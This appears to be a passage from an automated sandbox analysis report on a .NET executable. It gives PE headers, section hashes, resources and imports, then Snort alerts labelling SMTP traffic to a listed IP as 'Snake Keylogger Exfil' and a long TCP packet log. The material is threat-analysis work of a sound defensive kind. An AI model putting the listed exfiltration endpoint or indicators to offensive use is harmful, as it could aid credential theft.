add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0xea038	0x53	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xec000	0x17de	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0xee000	0xc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0x8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2008	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0xe8094	0xe8200	644cabe1e754238fe79bcec5055a8acd	False	0.47247534666128166	data	6.463464649180666	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rsrc	0xec000	0x17de	0x1800	edc62ffa8b8153a2c395be52c8763ecd	False	0.55712890625	data	5.839695724020961	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0xee000	0xc	0x200	d125e5c7a86b1f9684280e3011c68b6c	False	0.044921875	data	0.10191042566270775	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	ZLIB Complexity
RT_ICON	0xec130	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4096	0.6090525328330206
RT_GROUP_ICON	0xed1d8	0x14	data	1.1
RT_VERSION	0xed1ec	0x408	data	0.3953488372093023
RT_MANIFEST	0xed5f4	0x1ea	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators	0.5489795918367347

Imports

DLL	Import
mscoree.dll	_CorExeMain

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
05/01/24-15:18:36.864942	TCP	2044767	ET TROJAN Snake Keylogger Exfil via SMTP	49745	587	192.168.2.7	108.167.142.65
05/01/24-15:18:34.721845	TCP	2044767	ET TROJAN Snake Keylogger Exfil via SMTP	49744	587	192.168.2.7	108.167.142.65
05/01/24-15:18:41.126293	TCP	2044767	ET TROJAN Snake Keylogger Exfil via SMTP	49747	587	192.168.2.7	108.167.142.65
05/01/24-15:18:39.013246	TCP	2044767	ET TROJAN Snake Keylogger Exfil via SMTP	49746	587	192.168.2.7	108.167.142.65
05/01/24-15:18:23.398629	TCP	2044767	ET TROJAN Snake Keylogger Exfil via SMTP	49743	587	192.168.2.7	108.167.142.65

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
May 1, 2024 15:17:06.996691942 CEST	49704	443	192.168.2.7	172.67.141.195
May 1, 2024 15:17:06.996715069 CEST	443	49704	172.67.141.195	192.168.2.7
May 1, 2024 15:17:06.996799946 CEST	49704	443	192.168.2.7	172.67.141.195
May 1, 2024 15:17:07.006934881 CEST	49704	443	192.168.2.7	172.67.141.195
May 1, 2024 15:17:07.006953001 CEST	443	49704	172.67.141.195	192.168.2.7
May 1, 2024 15:17:07.223221064 CEST	443	49704	172.67.141.195	192.168.2.7
May 1, 2024 15:17:07.223295927 CEST	49704	443	192.168.2.7	172.67.141.195
May 1, 2024 15:17:07.226128101 CEST	49704	443	192.168.2.7	172.67.141.195
May 1, 2024 15:17:07.226140022 CEST	443	49704	172.67.141.195	192.168.2.7
May 1, 2024 15:17:07.226448059 CEST	443	49704	172.67.141.195	192.168.2.7
May 1, 2024 15:17:07.236176968 CEST	49704	443	192.168.2.7	172.67.141.195
May 1, 2024 15:17:07.280107975 CEST	443	49704	172.67.141.195	192.168.2.7
May 1, 2024 15:17:07.890074015 CEST	443	49704	172.67.141.195	192.168.2.7
May 1, 2024 15:17:07.890125990 CEST	443	49704	172.67.141.195	192.168.2.7
May 1, 2024 15:17:07.890152931 CEST	443	49704	172.67.141.195	192.168.2.7
May 1, 2024 15:17:07.890171051 CEST	49704	443	192.168.2.7	172.67.141.195
May 1, 2024 15:17:07.890178919 CEST	443	49704	172.67.141.195	192.168.2.7
May 1, 2024 15:17:07.890196085 CEST	443	49704	172.67.141.195	192.168.2.7
May 1, 2024 15:17:07.890249014 CEST	49704	443	192.168.2.7	172.67.141.195
May 1, 2024 15:17:07.890269041 CEST	443	49704	172.67.141.195	192.168.2.7
May 1, 2024 15:17:07.890297890 CEST	443	49704	172.67.141.195	192.168.2.7
May 1, 2024 15:17:07.890312910 CEST	49704	443	192.168.2.7	172.67.141.195
May 1, 2024 15:17:07.890321016 CEST	443	49704	172.67.141.195	192.168.2.7
May 1, 2024 15:17:07.890357971 CEST	49704	443	192.168.2.7	172.67.141.195
May 1, 2024 15:17:07.890650988 CEST	443	49704	172.67.141.195	192.168.2.7
May 1, 2024 15:17:07.890734911 CEST	443	49704	172.67.141.195	192.168.2.7
May 1, 2024 15:17:07.890760899 CEST	443	49704	172.67.141.195	192.168.2.7
May 1, 2024 15:17:07.890774965 CEST	49704	443	192.168.2.7	172.67.141.195
May 1, 2024 15:17:07.890790939 CEST	443	49704	172.67.141.195	192.168.2.7
May 1, 2024 15:17:07.890830040 CEST	49704	443	192.168.2.7	172.67.141.195
May 1, 2024 15:17:07.891176939 CEST	443	49704	172.67.141.195	192.168.2.7
May 1, 2024 15:17:07.944483042 CEST	443	49704	172.67.141.195	192.168.2.7
May 1, 2024 15:17:07.944528103 CEST	49704	443	192.168.2.7	172.67.141.195
May 1, 2024 15:17:07.944535971 CEST	443	49704	172.67.141.195	192.168.2.7
May 1, 2024 15:17:07.944670916 CEST	443	49704	172.67.141.195	192.168.2.7
May 1, 2024 15:17:07.944709063 CEST	49704	443	192.168.2.7	172.67.141.195
May 1, 2024 15:17:07.944717884 CEST	443	49704	172.67.141.195	192.168.2.7
May 1, 2024 15:17:07.944992065 CEST	443	49704	172.67.141.195	192.168.2.7
May 1, 2024 15:17:07.945030928 CEST	49704	443	192.168.2.7	172.67.141.195
May 1, 2024 15:17:07.945039988 CEST	443	49704	172.67.141.195	192.168.2.7
May 1, 2024 15:17:07.945070982 CEST	443	49704	172.67.141.195	192.168.2.7
May 1, 2024 15:17:07.945121050 CEST	49704	443	192.168.2.7	172.67.141.195
May 1, 2024 15:17:07.945127964 CEST	443	49704	172.67.141.195	192.168.2.7
May 1, 2024 15:17:07.945596933 CEST	443	49704	172.67.141.195	192.168.2.7
May 1, 2024 15:17:07.945641041 CEST	443	49704	172.67.141.195	192.168.2.7
May 1, 2024 15:17:07.945667028 CEST	49704	443	192.168.2.7	172.67.141.195
May 1, 2024 15:17:07.945667028 CEST	443	49704	172.67.141.195	192.168.2.7
May 1, 2024 15:17:07.945678949 CEST	443	49704	172.67.141.195	192.168.2.7
May 1, 2024 15:17:07.945709944 CEST	49704	443	192.168.2.7	172.67.141.195
May 1, 2024 15:17:07.992554903 CEST	49704	443	192.168.2.7	172.67.141.195
May 1, 2024 15:17:08.007276058 CEST	443	49704	172.67.141.195	192.168.2.7
May 1, 2024 15:17:08.007392883 CEST	443	49704	172.67.141.195	192.168.2.7
May 1, 2024 15:17:08.007416010 CEST	443	49704	172.67.141.195	192.168.2.7
May 1, 2024 15:17:08.007431984 CEST	49704	443	192.168.2.7	172.67.141.195
May 1, 2024 15:17:08.007440090 CEST	443	49704	172.67.141.195	192.168.2.7
May 1, 2024 15:17:08.007477045 CEST	49704	443	192.168.2.7	172.67.141.195
May 1, 2024 15:17:08.007704973 CEST	443	49704	172.67.141.195	192.168.2.7
May 1, 2024 15:17:08.007764101 CEST	443	49704	172.67.141.195	192.168.2.7
May 1, 2024 15:17:08.007790089 CEST	443	49704	172.67.141.195	192.168.2.7
May 1, 2024 15:17:08.007808924 CEST	49704	443	192.168.2.7	172.67.141.195
May 1, 2024 15:17:08.007816076 CEST	443	49704	172.67.141.195	192.168.2.7
May 1, 2024 15:17:08.007859945 CEST	49704	443	192.168.2.7	172.67.141.195
May 1, 2024 15:17:08.008304119 CEST	443	49704	172.67.141.195	192.168.2.7
May 1, 2024 15:17:08.008347034 CEST	443	49704	172.67.141.195	192.168.2.7
May 1, 2024 15:17:08.008369923 CEST	443	49704	172.67.141.195	192.168.2.7
May 1, 2024 15:17:08.008385897 CEST	49704	443	192.168.2.7	172.67.141.195
May 1, 2024 15:17:08.008393049 CEST	443	49704	172.67.141.195	192.168.2.7
May 1, 2024 15:17:08.008428097 CEST	49704	443	192.168.2.7	172.67.141.195
May 1, 2024 15:17:08.008434057 CEST	443	49704	172.67.141.195	192.168.2.7
May 1, 2024 15:17:08.009215117 CEST	443	49704	172.67.141.195	192.168.2.7
May 1, 2024 15:17:08.009253025 CEST	49704	443	192.168.2.7	172.67.141.195
May 1, 2024 15:17:08.009258986 CEST	443	49704	172.67.141.195	192.168.2.7
May 1, 2024 15:17:08.009331942 CEST	443	49704	172.67.141.195	192.168.2.7
May 1, 2024 15:17:08.009367943 CEST	49704	443	192.168.2.7	172.67.141.195
May 1, 2024 15:17:08.009370089 CEST	443	49704	172.67.141.195	192.168.2.7
May 1, 2024 15:17:08.009381056 CEST	443	49704	172.67.141.195	192.168.2.7
May 1, 2024 15:17:08.009413958 CEST	49704	443	192.168.2.7	172.67.141.195
May 1, 2024 15:17:08.009432077 CEST	49704	443	192.168.2.7	172.67.141.195
May 1, 2024 15:17:08.010160923 CEST	443	49704	172.67.141.195	192.168.2.7
May 1, 2024 15:17:08.010209084 CEST	49704	443	192.168.2.7	172.67.141.195
May 1, 2024 15:17:08.010215044 CEST	443	49704	172.67.141.195	192.168.2.7
May 1, 2024 15:17:08.010257959 CEST	49704	443	192.168.2.7	172.67.141.195
May 1, 2024 15:17:08.057837009 CEST	443	49704	172.67.141.195	192.168.2.7
May 1, 2024 15:17:08.057909966 CEST	49704	443	192.168.2.7	172.67.141.195
May 1, 2024 15:17:08.058008909 CEST	443	49704	172.67.141.195	192.168.2.7
May 1, 2024 15:17:08.058056116 CEST	49704	443	192.168.2.7	172.67.141.195
May 1, 2024 15:17:08.058445930 CEST	443	49704	172.67.141.195	192.168.2.7
May 1, 2024 15:17:08.058509111 CEST	49704	443	192.168.2.7	172.67.141.195
May 1, 2024 15:17:08.058953047 CEST	443	49704	172.67.141.195	192.168.2.7
May 1, 2024 15:17:08.058988094 CEST	443	49704	172.67.141.195	192.168.2.7
May 1, 2024 15:17:08.058989048 CEST	49704	443	192.168.2.7	172.67.141.195
May 1, 2024 15:17:08.059000015 CEST	443	49704	172.67.141.195	192.168.2.7
May 1, 2024 15:17:08.059027910 CEST	49704	443	192.168.2.7	172.67.141.195
May 1, 2024 15:17:08.059859991 CEST	443	49704	172.67.141.195	192.168.2.7
May 1, 2024 15:17:08.059921980 CEST	49704	443	192.168.2.7	172.67.141.195
May 1, 2024 15:17:08.059928894 CEST	443	49704	172.67.141.195	192.168.2.7
May 1, 2024 15:17:08.059942961 CEST	443	49704	172.67.141.195	192.168.2.7
May 1, 2024 15:17:08.059963942 CEST	49704	443	192.168.2.7	172.67.141.195
May 1, 2024 15:17:08.059971094 CEST	443	49704	172.67.141.195	192.168.2.7
May 1, 2024 15:17:08.059986115 CEST	49704	443	192.168.2.7	172.67.141.195
May 1, 2024 15:17:08.101490021 CEST	443	49704	172.67.141.195	192.168.2.7
May 1, 2024 15:17:08.101525068 CEST	443	49704	172.67.141.195	192.168.2.7
May 1, 2024 15:17:08.101557016 CEST	49704	443	192.168.2.7	172.67.141.195
May 1, 2024 15:17:08.101568937 CEST	443	49704	172.67.141.195	192.168.2.7
May 1, 2024 15:17:08.101586103 CEST	49704	443	192.168.2.7	172.67.141.195
May 1, 2024 15:17:08.101604939 CEST	443	49704	172.67.141.195	192.168.2.7
May 1, 2024 15:17:08.101650953 CEST	49704	443	192.168.2.7	172.67.141.195
May 1, 2024 15:17:08.101658106 CEST	443	49704	172.67.141.195	192.168.2.7
May 1, 2024 15:17:08.101701975 CEST	49704	443	192.168.2.7	172.67.141.195
May 1, 2024 15:17:08.102421045 CEST	443	49704	172.67.141.195	192.168.2.7
May 1, 2024 15:17:08.102454901 CEST	443	49704	172.67.141.195	192.168.2.7
May 1, 2024 15:17:08.102468967 CEST	49704	443	192.168.2.7	172.67.141.195
May 1, 2024 15:17:08.102475882 CEST	443	49704	172.67.141.195	192.168.2.7
May 1, 2024 15:17:08.102485895 CEST	49704	443	192.168.2.7	172.67.141.195
May 1, 2024 15:17:08.102509022 CEST	49704	443	192.168.2.7	172.67.141.195
May 1, 2024 15:17:08.103353977 CEST	443	49704	172.67.141.195	192.168.2.7
May 1, 2024 15:17:08.103419065 CEST	49704	443	192.168.2.7	172.67.141.195
May 1, 2024 15:17:08.103466034 CEST	443	49704	172.67.141.195	192.168.2.7
May 1, 2024 15:17:08.103511095 CEST	49704	443	192.168.2.7	172.67.141.195
May 1, 2024 15:17:08.104496002 CEST	443	49704	172.67.141.195	192.168.2.7
May 1, 2024 15:17:08.104548931 CEST	49704	443	192.168.2.7	172.67.141.195
May 1, 2024 15:17:08.104684114 CEST	443	49704	172.67.141.195	192.168.2.7
May 1, 2024 15:17:08.104724884 CEST	49704	443	192.168.2.7	172.67.141.195
May 1, 2024 15:17:08.104756117 CEST	443	49704	172.67.141.195	192.168.2.7
May 1, 2024 15:17:08.104804039 CEST	49704	443	192.168.2.7	172.67.141.195
May 1, 2024 15:17:08.105671883 CEST	443	49704	172.67.141.195	192.168.2.7
May 1, 2024 15:17:08.105719090 CEST	443	49704	172.67.141.195	192.168.2.7
May 1, 2024 15:17:08.105721951 CEST	49704	443	192.168.2.7	172.67.141.195
May 1, 2024 15:17:08.105731010 CEST	443	49704	172.67.141.195	192.168.2.7
May 1, 2024 15:17:08.105761051 CEST	49704	443	192.168.2.7	172.67.141.195
May 1, 2024 15:17:08.105844021 CEST	49704	443	192.168.2.7	172.67.141.195
May 1, 2024 15:17:08.106581926 CEST	443	49704	172.67.141.195	192.168.2.7
May 1, 2024 15:17:08.106616974 CEST	443	49704	172.67.141.195	192.168.2.7
May 1, 2024 15:17:08.106625080 CEST	49704	443	192.168.2.7	172.67.141.195
May 1, 2024 15:17:08.106631041 CEST	443	49704	172.67.141.195	192.168.2.7
May 1, 2024 15:17:08.106662989 CEST	49704	443	192.168.2.7	172.67.141.195
May 1, 2024 15:17:08.107481003 CEST	443	49704	172.67.141.195	192.168.2.7
May 1, 2024 15:17:08.107531071 CEST	49704	443	192.168.2.7	172.67.141.195
May 1, 2024 15:17:08.107537985 CEST	443	49704	172.67.141.195	192.168.2.7
May 1, 2024 15:17:08.107568979 CEST	49704	443	192.168.2.7	172.67.141.195
May 1, 2024 15:17:08.108067989 CEST	443	49704	172.67.141.195	192.168.2.7
May 1, 2024 15:17:08.108110905 CEST	443	49704	172.67.141.195	192.168.2.7
May 1, 2024 15:17:08.108112097 CEST	49704	443	192.168.2.7	172.67.141.195
May 1, 2024 15:17:08.108124971 CEST	443	49704	172.67.141.195	192.168.2.7
May 1, 2024 15:17:08.108154058 CEST	49704	443	192.168.2.7	172.67.141.195
May 1, 2024 15:17:08.108160973 CEST	49704	443	192.168.2.7	172.67.141.195
May 1, 2024 15:17:08.108180046 CEST	443	49704	172.67.141.195	192.168.2.7
May 1, 2024 15:17:08.108222008 CEST	49704	443	192.168.2.7	172.67.141.195
May 1, 2024 15:17:08.109018087 CEST	443	49704	172.67.141.195	192.168.2.7
May 1, 2024 15:17:08.109072924 CEST	49704	443	192.168.2.7	172.67.141.195
May 1, 2024 15:17:08.109082937 CEST	443	49704	172.67.141.195	192.168.2.7
May 1, 2024 15:17:08.109132051 CEST	49704	443	192.168.2.7	172.67.141.195
May 1, 2024 15:17:08.109915972 CEST	443	49704	172.67.141.195	192.168.2.7
May 1, 2024 15:17:08.109957933 CEST	443	49704	172.67.141.195	192.168.2.7
May 1, 2024 15:17:08.109963894 CEST	49704	443	192.168.2.7	172.67.141.195
May 1, 2024 15:17:08.109970093 CEST	443	49704	172.67.141.195	192.168.2.7
May 1, 2024 15:17:08.110002041 CEST	49704	443	192.168.2.7	172.67.141.195
May 1, 2024 15:17:08.110830069 CEST	443	49704	172.67.141.195	192.168.2.7
May 1, 2024 15:17:08.110871077 CEST	49704	443	192.168.2.7	172.67.141.195
May 1, 2024 15:17:08.110877991 CEST	443	49704	172.67.141.195	192.168.2.7
May 1, 2024 15:17:08.110923052 CEST	49704	443	192.168.2.7	172.67.141.195
May 1, 2024 15:17:08.111375093 CEST	443	49704	172.67.141.195	192.168.2.7
May 1, 2024 15:17:08.111411095 CEST	443	49704	172.67.141.195	192.168.2.7
May 1, 2024 15:17:08.111418962 CEST	49704	443	192.168.2.7	172.67.141.195
May 1, 2024 15:17:08.111423969 CEST	443	49704	172.67.141.195	192.168.2.7
May 1, 2024 15:17:08.111447096 CEST	49704	443	192.168.2.7	172.67.141.195
May 1, 2024 15:17:08.111453056 CEST	49704	443	192.168.2.7	172.67.141.195
May 1, 2024 15:17:08.113209009 CEST	443	49704	172.67.141.195	192.168.2.7
May 1, 2024 15:17:08.113260984 CEST	49704	443	192.168.2.7	172.67.141.195
May 1, 2024 15:17:08.122287035 CEST	49704	443	192.168.2.7	172.67.141.195
May 1, 2024 15:17:08.151982069 CEST	443	49704	172.67.141.195	192.168.2.7
May 1, 2024 15:17:08.152045012 CEST	49704	443	192.168.2.7	172.67.141.195
May 1, 2024 15:17:08.152120113 CEST	443	49704	172.67.141.195	192.168.2.7
May 1, 2024 15:17:08.152157068 CEST	443	49704	172.67.141.195	192.168.2.7
May 1, 2024 15:17:08.152174950 CEST	49704	443	192.168.2.7	172.67.141.195
May 1, 2024 15:17:08.152183056 CEST	443	49704	172.67.141.195	192.168.2.7
May 1, 2024 15:17:08.152201891 CEST	49704	443	192.168.2.7	172.67.141.195
May 1, 2024 15:17:08.152225971 CEST	49704	443	192.168.2.7	172.67.141.195
May 1, 2024 15:17:08.153079033 CEST	443	49704	172.67.141.195	192.168.2.7
May 1, 2024 15:17:08.153130054 CEST	49704	443	192.168.2.7	172.67.141.195
May 1, 2024 15:17:08.153884888 CEST	443	49704	172.67.141.195	192.168.2.7
May 1, 2024 15:17:08.153928041 CEST	443	49704	172.67.141.195	192.168.2.7
May 1, 2024 15:17:08.153945923 CEST	49704	443	192.168.2.7	172.67.141.195
May 1, 2024 15:17:08.153950930 CEST	443	49704	172.67.141.195	192.168.2.7
May 1, 2024 15:17:08.153975964 CEST	49704	443	192.168.2.7	172.67.141.195
May 1, 2024 15:17:08.153987885 CEST	49704	443	192.168.2.7	172.67.141.195
May 1, 2024 15:17:08.155692101 CEST	443	49704	172.67.141.195	192.168.2.7
May 1, 2024 15:17:08.155709982 CEST	443	49704	172.67.141.195	192.168.2.7
May 1, 2024 15:17:08.155760050 CEST	49704	443	192.168.2.7	172.67.141.195
May 1, 2024 15:17:08.155769110 CEST	443	49704	172.67.141.195	192.168.2.7
May 1, 2024 15:17:08.155778885 CEST	49704	443	192.168.2.7	172.67.141.195
May 1, 2024 15:17:08.155805111 CEST	49704	443	192.168.2.7	172.67.141.195
May 1, 2024 15:17:08.157605886 CEST	443	49704	172.67.141.195	192.168.2.7
May 1, 2024 15:17:08.157622099 CEST	443	49704	172.67.141.195	192.168.2.7
May 1, 2024 15:17:08.157674074 CEST	49704	443	192.168.2.7	172.67.141.195
May 1, 2024 15:17:08.157680988 CEST	443	49704	172.67.141.195	192.168.2.7
May 1, 2024 15:17:08.157707930 CEST	49704	443	192.168.2.7	172.67.141.195
May 1, 2024 15:17:08.157717943 CEST	49704	443	192.168.2.7	172.67.141.195
May 1, 2024 15:17:08.159349918 CEST	443	49704	172.67.141.195	192.168.2.7
May 1, 2024 15:17:08.159364939 CEST	443	49704	172.67.141.195	192.168.2.7
May 1, 2024 15:17:08.159409046 CEST	49704	443	192.168.2.7	172.67.141.195
May 1, 2024 15:17:08.159415960 CEST	443	49704	172.67.141.195	192.168.2.7
May 1, 2024 15:17:08.159434080 CEST	49704	443	192.168.2.7	172.67.141.195
May 1, 2024 15:17:08.159450054 CEST	49704	443	192.168.2.7	172.67.141.195
May 1, 2024 15:17:08.160639048 CEST	443	49704	172.67.141.195	192.168.2.7
May 1, 2024 15:17:08.160655022 CEST	443	49704	172.67.141.195	192.168.2.7
May 1, 2024 15:17:08.160702944 CEST	49704	443	192.168.2.7	172.67.141.195
May 1, 2024 15:17:08.160710096 CEST	443	49704	172.67.141.195	192.168.2.7
May 1, 2024 15:17:08.160748959 CEST	49704	443	192.168.2.7	172.67.141.195
May 1, 2024 15:17:08.162740946 CEST	443	49704	172.67.141.195	192.168.2.7
May 1, 2024 15:17:08.162756920 CEST	443	49704	172.67.141.195	192.168.2.7
May 1, 2024 15:17:08.162801027 CEST	49704	443	192.168.2.7	172.67.141.195
May 1, 2024 15:17:08.162811041 CEST	443	49704	172.67.141.195	192.168.2.7
May 1, 2024 15:17:08.162822008 CEST	49704	443	192.168.2.7	172.67.141.195
May 1, 2024 15:17:08.162853956 CEST	49704	443	192.168.2.7	172.67.141.195
May 1, 2024 15:17:08.196547031 CEST	443	49704	172.67.141.195	192.168.2.7
May 1, 2024 15:17:08.196561098 CEST	443	49704	172.67.141.195	192.168.2.7
May 1, 2024 15:17:08.196611881 CEST	49704	443	192.168.2.7	172.67.141.195
May 1, 2024 15:17:08.196619034 CEST	443	49704	172.67.141.195	192.168.2.7
May 1, 2024 15:17:08.196646929 CEST	49704	443	192.168.2.7	172.67.141.195
May 1, 2024 15:17:08.196666002 CEST	49704	443	192.168.2.7	172.67.141.195
May 1, 2024 15:17:08.197535992 CEST	443	49704	172.67.141.195	192.168.2.7
May 1, 2024 15:17:08.197550058 CEST	443	49704	172.67.141.195	192.168.2.7
May 1, 2024 15:17:08.197591066 CEST	49704	443	192.168.2.7	172.67.141.195
May 1, 2024 15:17:08.197597027 CEST	443	49704	172.67.141.195	192.168.2.7
May 1, 2024 15:17:08.197614908 CEST	49704	443	192.168.2.7	172.67.141.195
May 1, 2024 15:17:08.197639942 CEST	49704	443	192.168.2.7	172.67.141.195
May 1, 2024 15:17:08.199459076 CEST	443	49704	172.67.141.195	192.168.2.7
May 1, 2024 15:17:08.199501038 CEST	443	49704	172.67.141.195	192.168.2.7
May 1, 2024 15:17:08.199529886 CEST	49704	443	192.168.2.7	172.67.141.195
May 1, 2024 15:17:08.199536085 CEST	443	49704	172.67.141.195	192.168.2.7
May 1, 2024 15:17:08.199558020 CEST	49704	443	192.168.2.7	172.67.141.195
May 1, 2024 15:17:08.199567080 CEST	49704	443	192.168.2.7	172.67.141.195
May 1, 2024 15:17:08.201211929 CEST	443	49704	172.67.141.195	192.168.2.7
May 1, 2024 15:17:08.201227903 CEST	443	49704	172.67.141.195	192.168.2.7
May 1, 2024 15:17:08.201267004 CEST	49704	443	192.168.2.7	172.67.141.195
May 1, 2024 15:17:08.201273918 CEST	443	49704	172.67.141.195	192.168.2.7
May 1, 2024 15:17:08.201297998 CEST	49704	443	192.168.2.7	172.67.141.195
May 1, 2024 15:17:08.201320887 CEST	49704	443	192.168.2.7	172.67.141.195
May 1, 2024 15:17:08.202960014 CEST	443	49704	172.67.141.195	192.168.2.7
May 1, 2024 15:17:08.202975035 CEST	443	49704	172.67.141.195	192.168.2.7
May 1, 2024 15:17:08.203018904 CEST	49704	443	192.168.2.7	172.67.141.195
May 1, 2024 15:17:08.203027964 CEST	443	49704	172.67.141.195	192.168.2.7
May 1, 2024 15:17:08.203058958 CEST	49704	443	192.168.2.7	172.67.141.195
May 1, 2024 15:17:08.203058958 CEST	49704	443	192.168.2.7	172.67.141.195
May 1, 2024 15:17:08.204962969 CEST	443	49704	172.67.141.195	192.168.2.7
May 1, 2024 15:17:08.204982996 CEST	443	49704	172.67.141.195	192.168.2.7
May 1, 2024 15:17:08.205028057 CEST	49704	443	192.168.2.7	172.67.141.195
May 1, 2024 15:17:08.205035925 CEST	443	49704	172.67.141.195	192.168.2.7
May 1, 2024 15:17:08.205070972 CEST	49704	443	192.168.2.7	172.67.141.195
May 1, 2024 15:17:08.206913948 CEST	443	49704	172.67.141.195	192.168.2.7
May 1, 2024 15:17:08.206939936 CEST	443	49704	172.67.141.195	192.168.2.7
May 1, 2024 15:17:08.206974983 CEST	49704	443	192.168.2.7	172.67.141.195
May 1, 2024 15:17:08.206979990 CEST	443	49704	172.67.141.195	192.168.2.7
May 1, 2024 15:17:08.207000017 CEST	49704	443	192.168.2.7	172.67.141.195
May 1, 2024 15:17:08.207015991 CEST	49704	443	192.168.2.7	172.67.141.195
May 1, 2024 15:17:08.208441973 CEST	443	49704	172.67.141.195	192.168.2.7
May 1, 2024 15:17:08.208458900 CEST	443	49704	172.67.141.195	192.168.2.7
May 1, 2024 15:17:08.208498955 CEST	49704	443	192.168.2.7	172.67.141.195
May 1, 2024 15:17:08.208506107 CEST	443	49704	172.67.141.195	192.168.2.7
May 1, 2024 15:17:08.208522081 CEST	49704	443	192.168.2.7	172.67.141.195
May 1, 2024 15:17:08.208544970 CEST	49704	443	192.168.2.7	172.67.141.195
May 1, 2024 15:17:08.210382938 CEST	443	49704	172.67.141.195	192.168.2.7
May 1, 2024 15:17:08.210397005 CEST	443	49704	172.67.141.195	192.168.2.7
May 1, 2024 15:17:08.210458994 CEST	49704	443	192.168.2.7	172.67.141.195
May 1, 2024 15:17:08.210465908 CEST	443	49704	172.67.141.195	192.168.2.7
May 1, 2024 15:17:08.210520983 CEST	49704	443	192.168.2.7	172.67.141.195
May 1, 2024 15:17:08.211611032 CEST	443	49704	172.67.141.195	192.168.2.7
May 1, 2024 15:17:08.211626053 CEST	443	49704	172.67.141.195	192.168.2.7
May 1, 2024 15:17:08.211673021 CEST	49704	443	192.168.2.7	172.67.141.195
May 1, 2024 15:17:08.211679935 CEST	443	49704	172.67.141.195	192.168.2.7
May 1, 2024 15:17:08.211716890 CEST	49704	443	192.168.2.7	172.67.141.195
May 1, 2024 15:17:08.213452101 CEST	443	49704	172.67.141.195	192.168.2.7
May 1, 2024 15:17:08.213469028 CEST	443	49704	172.67.141.195	192.168.2.7
May 1, 2024 15:17:08.213536024 CEST	49704	443	192.168.2.7	172.67.141.195
May 1, 2024 15:17:08.213542938 CEST	443	49704	172.67.141.195	192.168.2.7
May 1, 2024 15:17:08.213581085 CEST	49704	443	192.168.2.7	172.67.141.195
May 1, 2024 15:17:08.214435101 CEST	443	49704	172.67.141.195	192.168.2.7
May 1, 2024 15:17:08.214478016 CEST	443	49704	172.67.141.195	192.168.2.7
May 1, 2024 15:17:08.214499950 CEST	49704	443	192.168.2.7	172.67.141.195
May 1, 2024 15:17:08.214504957 CEST	443	49704	172.67.141.195	192.168.2.7
May 1, 2024 15:17:08.214529991 CEST	49704	443	192.168.2.7	172.67.141.195
May 1, 2024 15:17:08.214545965 CEST	443	49704	172.67.141.195	192.168.2.7
May 1, 2024 15:17:08.214548111 CEST	49704	443	192.168.2.7	172.67.141.195
May 1, 2024 15:17:08.214593887 CEST	49704	443	192.168.2.7	172.67.141.195
May 1, 2024 15:17:08.239773989 CEST	49704	443	192.168.2.7	172.67.141.195
May 1, 2024 15:17:08.354929924 CEST	49704	443	192.168.2.7	172.67.141.195
May 1, 2024 15:17:08.837018967 CEST	49704	443	192.168.2.7	172.67.141.195
May 1, 2024 15:17:09.002350092 CEST	49705	443	192.168.2.7	172.67.141.195
May 1, 2024 15:17:09.002376080 CEST	443	49705	172.67.141.195	192.168.2.7
